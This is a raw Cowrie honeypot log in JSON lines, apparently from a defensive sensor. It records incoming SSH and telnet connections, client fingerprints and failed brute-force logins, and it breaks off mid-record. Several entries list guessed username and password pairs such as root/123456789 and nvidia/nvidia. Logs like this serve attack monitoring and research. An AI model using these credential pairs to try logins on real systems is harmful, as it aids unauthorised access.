{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:50.725558Z","src_ip":"185.207.107.77","session":"8ced46d6a956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"St0rj$M@st3r@P@ss","message":"login attempt [root/St0rj$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:50.985256Z","src_ip":"185.207.107.77","session":"8ced46d6a956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:52.073230Z","src_ip":"185.207.107.77","session":"8ced46d6a956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":33880,"dst_ip":"159.203.135.109","dst_port":22,"session":"3217d523602d","protocol":"ssh","message":"New connection: 103.15.222.183:33880 (159.203.135.109:22) [session: 3217d523602d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:53.959167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:53.968749Z","src_ip":"103.15.222.183","session":"3217d523602d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:54.203476Z","src_ip":"103.15.222.183","session":"3217d523602d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.875977754592896,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:54.673691Z","src_ip":"170.64.224.25","session":"daba445ed8fb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"200719","message":"login attempt [root/200719] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:54.905503Z","src_ip":"103.15.222.183","session":"3217d523602d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:25:56.141423Z","src_ip":"103.15.222.183","session":"3217d523602d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":59154,"dst_ip":"10.17.0.5","dst_port":22,"session":"155b164e040b","protocol":"ssh","message":"New connection: 189.203.163.10:59154 (10.17.0.5:22) [session: 155b164e040b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:02.556221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:02.561987Z","src_ip":"189.203.163.10","session":"155b164e040b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:02.624094Z","src_ip":"189.203.163.10","session":"155b164e040b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ASDqwe!@#","message":"login attempt [root/ASDqwe!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:02.907250Z","src_ip":"189.203.163.10","session":"155b164e040b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:03.972885Z","src_ip":"189.203.163.10","session":"155b164e040b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":55142,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ad9f0efd5ad","protocol":"ssh","message":"New connection: 160.187.174.22:55142 (159.203.135.109:22) [session: 5ad9f0efd5ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:06.288815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:06.294550Z","src_ip":"160.187.174.22","session":"5ad9f0efd5ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:06.531230Z","src_ip":"160.187.174.22","session":"5ad9f0efd5ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":46024,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c2f5e0b7ffc","protocol":"ssh","message":"New connection: 91.92.40.4:46024 (10.17.0.5:22) [session: 3c2f5e0b7ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:07.087924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:07.120444Z","src_ip":"91.92.40.4","session":"3c2f5e0b7ffc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:07.425024Z","src_ip":"91.92.40.4","session":"3c2f5e0b7ffc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:07.493452Z","src_ip":"160.187.174.22","session":"5ad9f0efd5ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwerty123456","message":"login attempt [user/qwerty123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:07.678690Z","src_ip":"91.92.40.4","session":"3c2f5e0b7ffc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:08.741155Z","src_ip":"160.187.174.22","session":"5ad9f0efd5ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:08.761521Z","src_ip":"91.92.40.4","session":"3c2f5e0b7ffc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58868,"dst_ip":"159.203.135.109","dst_port":23,"session":"97c121c36046","protocol":"telnet","message":"New connection: 170.64.224.25:58868 (159.203.135.109:23) [session: 97c121c36046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:16.107676Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.174.129.232","src_port":47189,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc757579d247","protocol":"ssh","message":"New connection: 160.174.129.232:47189 (10.17.0.5:22) [session: fc757579d247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:25.548589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:25.552930Z","src_ip":"160.174.129.232","session":"fc757579d247","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:25.685879Z","src_ip":"160.174.129.232","session":"fc757579d247","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpadmin","password":"sftpadmin123","message":"login attempt [sftpadmin/sftpadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:26.252563Z","src_ip":"160.174.129.232","session":"fc757579d247","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":60218,"dst_ip":"10.17.0.5","dst_port":22,"session":"21412ce4c15e","protocol":"ssh","message":"New connection: 143.20.185.207:60218 (10.17.0.5:22) [session: 21412ce4c15e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:26.629946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:26.636906Z","src_ip":"143.20.185.207","session":"21412ce4c15e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:26.756993Z","src_ip":"143.20.185.207","session":"21412ce4c15e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZVPS8VCPU32GBAMD","message":"login attempt [root/XYZZVPS8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:27.148067Z","src_ip":"143.20.185.207","session":"21412ce4c15e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:27.387853Z","src_ip":"160.174.129.232","session":"fc757579d247","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:28.264890Z","src_ip":"143.20.185.207","session":"21412ce4c15e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":43572,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcba7c0b159e","protocol":"ssh","message":"New connection: 160.187.174.22:43572 (159.203.135.109:22) [session: bcba7c0b159e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:33.581990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:33.585456Z","src_ip":"160.187.174.22","session":"bcba7c0b159e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:33.817295Z","src_ip":"160.187.174.22","session":"bcba7c0b159e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:34.519689Z","src_ip":"160.187.174.22","session":"bcba7c0b159e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:35.757348Z","src_ip":"160.187.174.22","session":"bcba7c0b159e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.193.165","src_port":41282,"dst_ip":"10.17.0.5","dst_port":22,"session":"352207ecda86","protocol":"ssh","message":"New connection: 20.228.193.165:41282 (10.17.0.5:22) [session: 352207ecda86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:35.881797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:35.885675Z","src_ip":"20.228.193.165","session":"352207ecda86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-